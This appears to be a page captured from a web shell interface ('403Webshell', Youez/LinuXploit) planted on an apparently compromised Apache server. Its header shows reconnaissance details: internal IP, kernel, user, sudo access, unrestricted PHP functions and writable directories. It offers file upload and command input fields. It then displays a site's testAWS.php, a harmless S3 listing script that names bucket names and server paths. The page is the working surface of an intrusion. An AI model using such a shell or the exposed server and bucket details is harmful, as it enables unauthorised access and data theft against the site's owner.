403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/pcisecureform.com/lcapi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/pcisecureform.com/lcapi/testAWS.php
<?php
//putenv('HOME=/home/learning'); 
// Pear Libary:/usr/local/php5/lib/php/AWSSDKforPHP
require_once('AWSSDKforPHP/sdk.class.php'); 
die(); 
$s3 = new AmazonS3(); 
//$util = new CFUtilities(); //$s3->util;  
//$bucket = 'media.learningcentersupport.com'; 
$bucket = 'media.synergypromarketing.com'; 

//$file_name = 'gfs/clients/'.preg_replace('/[^0-9]/','', (string) microtime(true)).'/recordings/'.$s3->util->generate_guid().'.txt'; 
$start_time = microtime(true); 

if($s3->if_bucket_exists($bucket)) 
{
	//$response = $s3->list_objects($bucket);  //list objects with details
	/*$response = $s3->create_object($bucket, $file_name, array(
		'body'=>'here is a sample file. date time '.date('Y-m-d H:i:s'), 
		'contentType' => 'text/plain', 
		//'acl' => $s3::ACL_PUBLIC, 
		//'acl' => $s3::ACL_PRIVATE,  //default
		//'storage' => $s3::STORAGE_REDUCED, 
		//'storage' => $s3::STORAGE_STANDARD,	//default 
		
		//OR
		//'fileUpload' => 'filepath', 
	)); 
	
	if($response->isOK()) {
		$url_response = $s3->get_object_url($bucket, $file_name, '1 hour'); 
		echo "<pre>".print_r($url_response, true)."</pre>";
	}
	*/	
	
	$response = $s3->get_object_list($bucket, array(
	//$response = $s3->list_objects($bucket, array(
		'prefix' => 'webinars', 
		'pcre' => '/\..+$/',
		'max-keys' => 2000,
	));
	//$response = $s3->get_object($bucket, 'recordings/gfs/2010/01/2177732450_231268_1.mp3');  
	echo "<pre>count ".count($response, true)."</pre>";
	echo "<pre>list ".print_r($response, true)."</pre>";
	/*foreach($response as $object) {
		$fileParts = explode('/',$object); 
		$url = $s3->get_object_url($bucket, $object, '15 minute'); 
		$url = str_replace('.s3.amazonaws.com','',$url); 
		echo "<a href='".print_r($url, true)."'>".$fileParts[count($fileParts)-1]."</a><br/>";
	}*/
} 

$time = (microtime(true) - $start_time);
echo $time . "<br/>";   

/*
 $s3::REGION_US_W1; 



 */ 

Youez - 2016 - github.com/yon3zu
LinuXploit